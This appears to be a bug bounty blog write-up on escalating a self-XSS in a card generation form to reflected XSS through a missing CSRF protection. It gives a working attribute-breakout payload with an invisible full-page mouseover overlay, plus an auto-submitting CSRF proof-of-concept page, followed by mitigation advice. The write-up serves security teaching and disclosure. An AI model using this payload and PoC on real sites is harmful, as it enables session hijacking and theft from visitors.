From Self-XSS to Reflected XSS: A CSRF Escalation Story

root@thebughunter:~$ cat vulnerability_escalation.txt
Target: Card Generation Feature
Initial Finding: Self-XSS (Low Impact)
Escalation Vector: CSRF Vulnerability
Final Impact: Reflected XSS (Medium Impact)
The Initial Discovery
I was testing a card generation feature on a bug bounty program when I found what looked like a self-XSS vulnerability. Nothing special at first glance, just another input field that reflected user data without proper sanitization.
The application let users create personalized cards by entering their name and other details.
INITIAL FINDING
Vulnerability: Self-XSS in user input field
Impact: Limited to attacker's session
Severity: Low (typically gets rejected)
The vulnerability was in the user_name parameter. I was able to escape the html context with a payload like this:
user_name=test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload
The application reflected it back unsanitized, creating an invisible overlay that triggered XSS on mouseover. Cool, but useless since it only affected my own session. Most programs won't even look at self-XSS reports.
Finding the Missing Piece
But then I noticed something interesting while poking around the application - the card generation endpoint had no CSRF protection whatsoever.
SECURITY WEAKNESS IDENTIFIED
× No CSRF tokens implemented
× Cookies were not needed
× Cross-origin requests accepted
✓ POST request vulnerable to CSRF
If I could craft a malicious page that automatically submitted the XSS payload, I could turn this useless self-XSS into a legitimate reflected XSS vulnerability.
Chaining the Vulnerabilities
Here's how I put it all together:
Step 1: Building the CSRF PoC
I created a simple HTML file that would auto-submit a POST request with my XSS payload:
<html>
<body>
<script>history.pushState('', '', '/');</script>
<form action="https://example-target.com/generate-card" method="POST">
<input type="hidden" name="first_name" value="John" />
<input type="hidden" name="last_name" value="Doe" />
<input type="hidden" name="card_type" value="standard" />
<input type="hidden" name="user_name" value="test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload" />
<input type="hidden" name="template_id" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Step 2: Understanding the Response
When the form gets submitted, the payload reflects in the download button:
<div class="download-container">
<a href="#"
id="download_link"
download="card_by_test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload.png">
<img src="/icons/download.svg" alt="Download">
Download Card
</a>
</div>
Step 3: The Attack Flow
When a victim visits my malicious page, the form auto-submits to the vulnerable endpoint. The response comes back with my XSS payload embedded in it. As soon as they move their mouse (which happens pretty much immediately), the JavaScript executes in their browser context.
The Impact Difference
BEFORE (Self-XSS)
AFTER (Reflected XSS via CSRF)
- Before: I can only attack myself. Useless.
- After: I can attack anyone who visits a page I control. They don't even need to be logged into the target site when they visit my page.
Now we're talking about real impact - session hijacking, data theft, phishing attacks...
Breaking Down the Payload
Let's look at what makes this XSS payload work:
test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload
How it works:
test"- Breaks out of the HTML attribute contextonmouseover="alert('XSS')"- Our event handler that executes the XSSstyle="position:absolute;width:100%;height:100%;top:0;left:0;"- Creates an invisible element covering the entire pagepayload- Completes the injection without breaking the HTML
The invisible overlay is key here. It guarantees that any mouse movement will trigger our payload. The victim never sees anything suspicious, but the moment they move their cursor, game over.
The Complete Attack Chain
ATTACK CHAIN BREAKDOWN
What I Learned
KEY TAKEAWAYS
For bug hunters:
When you find a self-XSS, don't just close the tab and move on. Take a few minutes to check:
- Is there CSRF protection on the vulnerable endpoint?
- Can you trigger the payload in someone else's browser context?
- Are there other vulnerabilities you can chain it with?
Sometimes the difference between a rejected report and a critical finding is just a little extra digging.
For developers:
Defense in depth matters. This vulnerability chain worked because of two separate security failures:
- No input sanitization/output encoding
- No CSRF protection
If either one had been implemented properly, the attack wouldn't have worked.
Mitigation Strategies
RECOMMENDED FIXES
Input Validation & Output Encoding
• HTML encode all user input before reflecting it in responses
• Implement Content Security Policy (CSP) headers
• Use context-aware output encoding
• Validate input on both client and server side
CSRF Protection
• Add CSRF tokens to all state-changing forms
• Implement SameSite cookie attribute (Strict or Lax)
• Verify Origin and Referer headers
The Outcome
This escalation technique turned what would have been an instant rejection into a valid medium-severity finding:
- Initial Assessment: Self-XSS → Rejected/Informational
- After Escalation: Reflected XSS via CSRF → Medium
- Real Impact: Account takeover, data theft, session hijacking
The program accepted the report and it was eventually fixed. The key was demonstrating that the vulnerability could actually affect real users, not just myself.
Final Thoughts
This case shows why creative thinking matters in bug bounty hunting. Security vulnerabilities rarely exist in isolation. What looks like a dead end might actually be part of a more serious attack chain.
The self-XSS was useless on its own. The missing CSRF protection wasn't immediately exploitable either. But together? They created a valid vulnerability.
Always look for the bigger picture. Test how different weaknesses might combine. And most importantly, don't dismiss findings too quickly just because they seem low-impact at first glance.
One last thing - responsible disclosure is non-negotiable. Always report through proper channels and give the program time to fix issues before publishing any details.
[NEXT_STEPS]
Want to learn about vulnerabilities or how to get started in bug hunting?
→ IDOR Analysis: 200+ Real-World Cases
→ My BSCP Certification Journey